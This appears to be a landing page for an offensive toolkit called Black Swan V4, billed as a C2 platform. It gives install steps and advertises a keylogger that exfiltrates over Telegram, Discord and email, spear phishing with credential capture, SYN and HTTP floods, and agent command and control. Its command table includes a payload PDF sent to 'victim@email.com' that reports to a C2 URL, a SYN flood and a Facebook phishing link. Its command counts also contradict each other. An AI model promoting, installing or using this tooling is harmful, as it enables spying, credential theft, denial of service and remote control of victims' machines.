v4.0.0 · C2 Platform

🦢 BLACK SWAN V4

211+ security commands · multi-platform · advanced keylogger · spear phishing · DOS · agent C2

release · ian carter kulani
21000+ commands Discord · Telegram · Slack Keylogger + exfil
Installation step-by-step

Get BLACK_SWAN_V4 running in minutes. Python 3.7+ required.

quick install pip install -r requirements.txt
1
Clone repository
git clone https://github.com/Iankulani/black_swan.git
cd black_swan
2
Create virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate (Linux/mac) · venv\Scripts\activate (Windows)
3
Install core dependencies
pip install -r requirements.txt
includes: requests, psutil, cryptography, flask, socketio, scapy, paramiko, pynput, discord.py, telethon, slack-sdk, etc.
4
(Optional) Install system tools
sudo apt install nmap nikto whois dnsutils netcat-openbsd docker.io
For macOS: brew install nmap nikto whois netcat docker
5
Launch BLACK_SWAN_V4
python black_swan.py
default admin: admin / black_swan_2024 (change immediately)
6
Web dashboard (optional)
web_start 5000 (or use config)
open http://localhost:5000 · black & red cyberpunk UI
Core Features 21k+

Command Arsenal

Nmap, Curl, Wget, Netcat, Docker, Ping, Traceroute, WHOIS, DNS, SSH, and 20k+ more.

210+ commands

Multi-Platform Bots

Discord · Telegram · Slack · Signal · iMessage · Google Chat · WhatsApp · Web.

8 platforms

Advanced Keylogger

Keystroke logging, screenshot capture, clipboard monitoring, exfil via email/C2/Telegram/Discord.

F10 toggle

Spear Phishing

100+ templates, tracking, credential capture, automated campaigns with SMTP integration.

spear_create

DOS / Traffic Gen

SYN, UDP, HTTP, ICMP floods · real traffic generation (ICMP/TCP/UDP/HTTP/DNS/ARP).

dos_syn · traffic

Network & IP Mgmt

IP → domain translation · domain hosting · threat detection · auto-block · Nikto scanner.

ip_to_domain

Agent C2

Register agents, push commands, heartbeat, result retrieval — full command & control.

agent_register

Deployment Engine

PDF, Email, Link, Executable payloads · track opens/executions · keylogger delivery.

deploy_pdf
Command Examples quick ref
Command Description Example
pingICMP echoping 8.8.8.8
nmap_quickFast port scannmap_quick 192.168.1.1
curlHTTP requestcurl https://example.com
wgetDownload filewget_download https://file.zip output.zip
docker_scanVulnerability scandocker_scan alpine:latest
trafficGenerate traffictraffic icmp 192.168.1.100 10
niktoWeb vuln scannikto example.com
dos_synSYN flooddos_syn 192.168.1.100 80 30 100
keylogger_startStart keyloggerkeylogger_start
deploy_pdfPDF payloaddeploy_pdf "Invoice" victim@email.com http://c2/log
ip_to_domainReverse DNSip_to_domain 8.8.8.8
host_domainHost domainhost_domain 192.168.1.100 mydomain.local 8080
phish_facebookPhishing linkphish_facebook
analyze_ipFull IP analysisanalyze_ip 8.8.8.8
21000+ commands 8 platform bots real traffic gen keylogger + exfil DOS / DDOS domain hosting